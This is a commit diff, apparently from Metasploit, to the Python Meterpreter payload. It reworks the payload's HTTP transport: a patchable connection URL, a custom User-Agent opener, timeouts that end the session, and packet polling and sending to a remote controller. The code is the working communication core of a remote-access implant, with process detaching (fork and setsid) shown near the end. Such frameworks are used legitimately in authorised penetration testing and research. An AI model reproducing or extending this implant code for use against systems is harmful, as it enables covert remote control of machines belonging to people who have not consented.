19
19
has_windll = hasattr (ctypes , 'windll' )
20
20
21
21
try :
22
+ urllib_imports = ['build_opener' , 'install_opener' , 'urlopen' ]
22
23
if sys .version_info [0 ] < 3 :
23
- urlopen = __import__ ('urllib ' , fromlist = [ 'urlopen' ]). urlopen
24
+ urllib = __import__ ('urllib2 ' , fromlist = urllib_imports )
24
25
else :
25
- urlopen = __import__ ('urllib.request' , fromlist = [ 'urlopen' ]). urlopen
26
+ urllib = __import__ ('urllib.request' , fromlist = urllib_imports )
26
27
except ImportError :
27
28
has_urllib = False
28
29
else :
42
43
#
43
44
# Constants
44
45
#
45
- CONNECTION_URL = None
46
+
47
+ # these values may be patched, DO NOT CHANGE THEM
46
48
DEBUGGING = False
49
+ HTTP_COMMUNICATION_TIMEOUT = 300
50
+ HTTP_CONNECTION_URL = None
51
+ HTTP_EXPIRATION_TIMEOUT = 604800
52
+ HTTP_USER_AGENT = None
47
53
48
54
PACKET_TYPE_REQUEST = 0
49
55
PACKET_TYPE_RESPONSE = 1
@@ -305,7 +311,7 @@ def __init__(self, socket=None):
305
311
self .communications_last = 0
306
312
if self .socket :
307
313
self .driver = 'tcp'
308
- elif CONNECTION_URL :
314
+ elif HTTP_CONNECTION_URL :
309
315
self .driver = 'http'
310
316
self .extension_functions = {}
311
317
self .channels = {}
@@ -314,8 +320,17 @@ def __init__(self, socket=None):
314
320
for func in list (filter (lambda x : x .startswith ('_core' ), dir (self ))):
315
321
self .extension_functions [func [1 :]] = getattr (self , func )
316
322
if self .driver :
323
+ if hasattr (self , 'driver_init_' + self .driver ):
324
+ getattr (self , 'driver_init_' + self .driver )()
317
325
self .running = True
318
326
327
+ def driver_init_http (self ):
328
+ opener = urllib .build_opener ()
329
+ if HTTP_USER_AGENT :
330
+ opener .addheaders = [('User-Agent' , HTTP_USER_AGENT )]
331
+ urllib .install_opener (opener )
332
+ self ._http_last_seen = time .time ()
333
+
319
334
def register_function (self , func ):
320
335
self .extension_functions [func .__name__ ] = func
321
336
return func
@@ -355,10 +370,13 @@ def send_packet(self, packet):
355
370
def get_packet_http (self ):
356
371
packet = None
357
372
try :
358
- url_h = urlopen (CONNECTION_URL , bytes ('RECV' , 'UTF-8' ))
373
+ url_h = urllib . urlopen (HTTP_CONNECTION_URL , bytes ('RECV' , 'UTF-8' ))
359
374
packet = url_h .read ()
360
375
except :
361
- pass
376
+ if (time .time () - self ._http_last_seen ) > HTTP_COMMUNICATION_TIMEOUT :
377
+ self .running = False
378
+ else :
379
+ self ._http_last_seen = time .time ()
362
380
if packet :
363
381
packet = packet [8 :]
364
382
else :
@@ -367,10 +385,13 @@ def get_packet_http(self):
367
385
368
386
def send_packet_http (self , packet ):
369
387
try :
370
- url_h = urlopen (CONNECTION_URL , packet )
388
+ url_h = urllib . urlopen (HTTP_CONNECTION_URL , packet )
371
389
response = url_h .read ()
372
390
except :
373
- pass
391
+ if (time .time () - self ._http_last_seen ) > HTTP_COMMUNICATION_TIMEOUT :
392
+ self .running = False
393
+ else :
394
+ self ._http_last_seen = time .time ()
374
395
375
396
def get_packet_tcp (self ):
376
397
packet = None
@@ -614,7 +635,7 @@ def create_response(self, request):
614
635
os .setsid ()
615
636
except OSError :
616
637
pass
617
- if CONNECTION_URL and has_urllib :
638
+ if HTTP_CONNECTION_URL and has_urllib :
618
639
met = PythonMeterpreter ()
619
640
else :
620
641
met = PythonMeterpreter (s )
0 commit comments